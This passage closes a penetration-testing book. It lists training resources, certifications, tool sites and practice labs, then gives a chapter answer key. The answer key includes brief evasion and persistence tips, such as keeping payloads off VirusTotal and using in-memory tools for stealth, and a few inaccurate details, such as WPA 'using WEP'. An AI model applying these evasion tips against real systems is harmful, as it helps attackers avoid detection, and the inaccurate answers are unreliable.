they operate. Understanding intrusion detection/prevention devices is key to determining
how to avoid them.
Having a good solid knowledge of networking can really amp up your penetration tests.
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Wireless penetration testing
Wireless penetration testing involves testing for vulnerabilities in the wireless
infrastructure of the business. Typically, this includes the following:
Wireless encryption protocols
Wireless access points
Wireless network traffic
Rogue access points
Wireless testing is usually done on-site due to the proximity requirements of wireless
technology. It's not uncommon for corporate wireless networks to leak outside the
building—that, in itself, is a vulnerability.
Growing your skills in this field entails having a deep understanding of how wireless
networks work. We touched on a few concepts in this book (such as the wireless frames).

Web application penetration testing
Web application penetration testing looks at vulnerabilities or weaknesses within web
applications. The complexity of this test is dependent on the application you are testing. For
example, a simple website using SQL might not be as complex as a website using multiple
APIs, Applets, or ActiveX controls. In this test, you can invest a large amount of time, as
web applications that are external-facing pose a huge risk to the business.
This test typically includes the following:
SQL injections
Cross-site scripting
Web application languages (Java, PHP, HTML, and so on)
Database connections
Frameworks and specific applications (Sharepoint, IIS, and so on)
Growing your skills in this area entails having a good understanding of various web
application languages. You need to understand how protocols such as HTTP/HTTPS work,
and how various attacks, such as SQL injection and cross-site scripting, work. In this book,
we have covered these topics, but there is a lot more depth to each of them.
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Online training
Let's take a look at the various resources that exist that you can use to expand your
knowledge in penetration testing. We will cover various online training providers, some
free and some paid. Over and above these, there are a lot more resources available; I found
the ones listed subsequently to be beneficial in gaining a good solid foundation in
penetration testing.

Cybrary
Cybrary offers a bunch of cybersecurity-related training for free. There is an active
community that is constantly developing new courses, and the quality of the material is of a
high standard. Cybrary leverages experts from various fields and corporations to develop
the training material.
Cybrary can be accessed via the following URL: https://www.cybrary.it/.

Pentester Academy
Pentester Academy offers various hands-on courses that focus on specific areas. For
example, some of their courses are focused purely on Python, Metasploit, PowerShell, and
much more. Online labs are available that you can use to practice your skills while you take
the different courses.
Pentester Academy is not a free service, employing a subscription model instead. There are
no long-term contracts and, as of the time of writing, the price starts from $99 for the first
month, and $39 monthly thereafter. Pentester Academy can be accessed via the following
URL: https://www.pentesteracademy.com/.

Pentesterlab
Pentesterlab is an online resource that is simple and straightforward. It provides virtual
images that are accompanied by exercises that can be used to test the vulnerabilities. This
enables you to understand the vulnerabilities and how to apply your knowledge in a
penetration test.
Pentesterlab has free and paid resources. They work off a subscription model which, at the
time of writing, is $19 per month. Pentesterlab can be accessed via the following URL:
https://pentesterlab.com/.
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Certifications
Once you have the knowledge, you need something to showcase that knowledge—this is
where certifications come into play. There are a number of certifications that you can work
toward as you progress with your penetration testing skills. The following providers offer a
wide range of certifications that can help you build your knowledge and skills within the
penetration testing field.

eLearnSecurity
eLearnSecurity offers a wide range of certifications that are focused on penetration testing.
They have training paths defined that guide you to a specific goal. For example, the
network penetration tester training path begins with the fundamentals of network
penetration testing, and ultimately takes you to the advanced aspects of red teaming and
operations of network penetration testing.
As part of the fundamentals, the certification they have is the eJPT. This certification is
100% practical, and does not make use of multiple choice questions. The exam is based on a
network that is modeled after a real world scenario, and you have to perform a penetration
test on the network within a given time frame. Training for the certification is all onlinebased, with access to labs designed to build your skills in each topic.
At the time of writing, the certification focuses on the following skills:
TCP/IP and IP routing
Knowledge of LAN protocols, devices, and vulnerability assessments of
networks
Knowledge of HTTP, web technologies, and vulnerability assessments of web
applications
Penetration testing processes and methodologies
Using Metasploit for exploitation
Information gathering, scanning, and profiling of targets
The training paths can be accessed via the following URL: https://www.elearnsecurity.
com/training_paths/.
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Offensive security
Offensive security certifications are well respected in the security community. The exam
process for their certifications is no joke; it's rigorous and extremely challenging. Exams are
based on scenarios and need to be completed within a defined time. They offer training and
certifications based on network, web, wireless, and exploitation.
A certification that you will see often in the penetration testing community is Offensive
Security Certified Professional (OSCP). The exam is hands-on and needs to be completed
within 24 hours! Within the exam, you need to use the skills you learned from the training
material to perform various tasks.
A list of offensive security certifications and training can be accessed via the following URL:
https://www.offensive-security.com/.

Global Information Assurance Certifications (GIACs)
GIAC certifications are also among those that are highly respected within the security
community. They offer certifications that span multiple domains, such as penetration
testing, cyber defense, incident response, and more.
Training for these certifications is handled by SANS, who are renowned for leading many
initiatives within cybersecurity.
A list of penetration testing certifications that is offered by GIAC can be found here:
https://www.giac.org/certifications/pen-testing.

Toolkit maintenance
Within this book, we covered a majority of the built-in tools of Kali Linux. These tools are
maintained and updates are released for them on a regular basis.
As for the tools that were not built-in, they are maintained on Github. So, keeping them
updated would simply entail pulling a new version.
You may be wondering where can you find additional tools that are not discussed in this
book. There are many sites on the internet that have updated lists of new tools as they are
released.
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Some of the most common include the following:
SecLists: https://www.darknet.org.uk/
KitPloit – Pentest and hacking tools: https://www.kitploit.com
r00t_1337: https://r00t1337.blogspot.com
People often post a collection of tools in Github repositories; finding these can be done by
running a simple Google search.

Purposefully vulnerable resources
As you solidify your knowledge in penetration testing, you will need to constantly test
your skills and any new tools that are released. To do this, you would have a lab
environment. Using your own lab, however, would not be challenging at all since, after
some time, you will know the inner workings of your lab. To put your knowledge into
practice, you will need multiple lab environments that focus on different systems. Instead
of building a lab for each, you can leverage labs that are already available on the internet.
There are two resources that are extremely handy when it comes to finding new challenges
and increasing your knowledge and skillset. These are Vulnhub and Hack The Box.

Vulnhub
Vulnhub enables practical hands-on learning by making use of vulnerable machines that
are built by the community. Vulnhub provides the virtual machines for free at no cost; all
you need to do is download the virtual image and run it using your hypervisor.
The beauty with Vulnhub is that there are walkthroughs that are available for the virtual
machines, so, in the event you get stuck, you can always reference them.
Vulnhub is accessible via the following URL: https://www.vulnhub.com/.

Hack The Box
Hack The Box is a platform that allows you to test your penetration testing skills online. It
has a number of vulnerable boxes and challenges. The vulnerable boxes vary in terms of
difficulty, which enables you to grow your skills dramatically. Accessing the boxes is
handled by a VPN, which you will need to connect to before accessing the box.
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Hack The Box has both a free and VIP option. In the free version, machines are retired after
some time. The VIP option, which, at the time of writing, costs $10 per month, enables
access to features such as the following:
Full access to all retired boxes
Labs that are less crowded
Access to the official walkthroughs for the retired boxes
There is one catch with Hack The Box—you need to hack your way in. The first challenge is
obtaining an invite code so you have the ability to register an account with Hack The Box.
Hack The Box can be accessed via the following URL: https://www.hackthebox.eu.

Summary
As network security evolves, so do the attackers. This means that as a penetration tester,
you need to keep abreast with what is happening within the cybersecurity field. Keeping
abreast entails continuous developments from a knowledge and skillset perspective.
In this chapter, we looked at some of the fields within penetration testing and the relevant
knowledge requirements, elaborating that penetration testing involves more than simply
running tools blindly. We looked at resources that are available and that can be used to
expand your knowledge, and certifications that you can work towards. We looked at how
to keep up with the latest tools that are released. Finally, we looked at where to obtain and
access vulnerable machines that you can use to test your skills.
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Assessments
Chapter 1: Introduction to Penetration
Testing
1. Penetration testing aims to identify vulnerabilities in a controlled manner before
an attacker is able to exploit them.
2. PTES and NIST SP800-115.
3. Scoping defines a number of important topics, such as what is to be tested,
business goals, the duration of the pentest, and more.
4. STRIDE and VAST.
5. Metasploitable focuses on sharpening your skills with Metasploit. It also focuses
more on the operating system and network layers.

Chapter 2: Getting Started with Kali Linux
1. Kali Linux contains over 100 tools out of the box.
2. Kali Linux can be installed using an .iso image file or using a prebuilt virtual
machine.
3. Apt update && apt upgrade.
4. Usingsystemctl start [service].
5. Nmap, John the Ripper, Burp Suite.

Chapter 3: Performing Information
Gathering
1. Passive information gathering involves using publicly accessible data, while
active information gathering involves interacting with the target system.
2. Shodan and Maltego.

Assessments

3. Nmap allows you to conduct vulnerability scans that leverage the Nmap
scripting engine.
4. OpenVAS and Nessus.
5. Performing packet capturing allows you to view the raw packets as it traverses a
network. Some packets can expose data, such as clear text passwords and other
interesting information.

Chapter 4: Mastering Social Engineering
1. It is the psychological manipulation of a person, thereby persuading them into
giving up sensitive information.
2. It's human nature to trust people.
3. Pretexting.
4. Phishing and spear phishing.
5. There is no need to clone any website; Modlishka is a reverse proxy tool that
allows you to capture credentials in clear text.

Chapter 5: Diving into the Metasploit
Framework
1.
2.
3.
4.
5.

Evasion modules and libraries.
Auxiliary and exploit.
Nmap and Nessus.
Exploit-DB and Rapid7.
A bind shell requires you to connect to it to obtain a shell, while a reverse shell
pushes a connection back to the attacking machine.

Chapter 6: Understanding Password Attacks
1. By extracting metadata from publicly accessible documents.
2. Profiling allows you to tweak your wordlists so that they are specific to your
target, thus eliminating the need to use large wordlists, which are timeconsuming.
3. John the ripper.
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4. Online password attacks are aimed at active network-based services, which
introduce risks of detection. Offline password attacks are done when passwords
are extracted and can be cracked on a separate system.
5. Using tools that reside in memory do not write anything to the disk, and these
are more stealthy than using tools that write data to the disk.

Chapter 7: Working with Burp Suite
1. The Burp Suite proxy is the centerpiece. This enables Burp Suite to function as an
interception proxy, allowing all the tools within Burp Suite to operate.
2. This scan analyzes the vulnerabilities of existing requests and responses. It does
not submit any requests to the web application, therefore eliminating the amount
of noise that can be detected.
3. This is used to manually manipulate the reissuing of HTTP requests. You can
leverage a repeater to check what the output would be if an HTTP request is
modified, for example, by using a SQL injection attack.
4. A cluster bomb provides the most comprehensive results, but it is also the most
time-consuming, depending on the word lists that are used.
5. By using the BApp Store or third-party extensions that can be loaded into Burp
Suite.

Chapter 8: Attacking Web Applications
1. Single Page Applications (SPA).
2. HTTP is not secure; data is sent in cleartext. HTTPS uses a SSL to submit data
over a secure tunnel.
3. The referrer field can be modified.
4. Cross-site scripting and SQL injection attacks.
5. The Metasploit Framework.
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Chapter 9: Getting Started with Wireless
Attacks
1. Management, Control, and Data.
2. SSID, security capabilities, and MAC address of the access point.
3. WPA still uses WEP as an encryption algorithm. WPA2 also uses a stronger
encryption of AES.
4. Rogue Access Points, Evil Twin, Frame injection, and WPA2 key cracking.
5. Airgeddon, airodump-ng, and aireplay-ng.

Chapter 10: Moving Laterally and Escalating
your Privileges
1.
2.
3.
4.

Lateral Movement and Privilege escalation.
Mimikatz and Metasploit Framework.
Mimikatz, Powershell, and Python.
This attack involves using an account's NTLM hash, which can be used to
authenticate to a resource that the account has access to.
5. This account is used to sign all Kerberos tickets within an Active Directory
domain. Compromising it will allow you to create a Golden Ticket.

Chapter 11: Antivirus Evasion
1. Antiviruses no longer work at simply protecting against viruses – they now have
full visibility of endpoints, including processes and memory.
2. Encoding and custom compiling.
3. MSFVenom, Veil, and TheFatRat.
4. The payload has a lower detection rate compared to ones that are generated with
tools.
5. Never submit it to VirusTotal, as VirusTotal submits the results to antivirus
manufacturers to enhance their detection capabilities.
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Chapter 12: Maintaining Control within the
Environment
1. Reverse shells can be lost when a target system is rebooted, or the exploited
vulnerability can be patched. Maintaining access eliminates the need to reexploit
a system.
2. An APT is an advanced persistent threat. These type of threats have the ability to
maintain access to a target system for months before being detected.
3. Backdoors using Trojans and C2 servers.
4. Living off the land is the ability to use the current operating system's tools to
perform tasks, such as PowerShell within Windows operating systems.
5. HKLM contains registry keys that run at system boot; HKCU contains registry
keys that run when a user logs in.

Chapter 13: Reporting and Acting on Your
Findings
1. A penetration test report allows you to communicate important information
about the issues that have been discovered to stakeholders who are responsible
for driving remediation efforts to reduce the security exposure of their
environment.
2. The Executive section will contain a high-level view of the penetration test's
engagement, and a high-level overview of the findings and risk rating. The
technical section will dive into the deep technical details, and is where you will
discuss the tools used, the path taken, and the vulnerabilities discovered,
together with the recommendations to remediate them.
3. Dradis.
4. The Open Web Application Security Project (OWASP).
5. Exercising good credential hygiene by limiting high privileged accounts from
accessing lower trusted systems and randomizing local administrator accounts.
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If you enjoyed this book, you may be interested in these other books by Packt:

Hands-On Penetration Testing on Windows
Phil Bramwell
ISBN: 9781788295666
Get to know advanced pen testing techniques with Kali Linux
Gain an understanding of Kali Linux tools and methods from behind the scenes
See how to use Kali Linux at an advanced level
Understand the exploitation of Windows kernel drivers
Understand advanced Windows concepts and protections, and how to bypass
them using Kali Linux
Discover Windows exploitation techniques, such as stack and heap overflows
and kernel exploitation, through coding principles

Other Books You May Enjoy

Mastering Machine Learning for Penetration Testing
Chiheb Chebbi
ISBN: 9781788997409
Take an in-depth look at machine learning
Get to know natural language processing (NLP)
Understand malware feature engineering
Build generative adversarial networks using Python libraries
Work on threat hunting with machine learning and the ELK stack
Explore the best practices for machine learning
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Leave a review - let other readers know what
you think
Please share your thoughts on this book with others by leaving a review on the site that you
bought it from. If you purchased the book from Amazon, please leave us an honest review
on this book's Amazon page. This is vital so that other potential readers can see and use
your unbiased opinion to make purchasing decisions, we can understand what our
customers think about our products, and our authors can see your feedback on the title that
they have worked with Packt to create. It will only take a few minutes of your time, but is
valuable to other potential customers, our authors, and Packt. Thank you!
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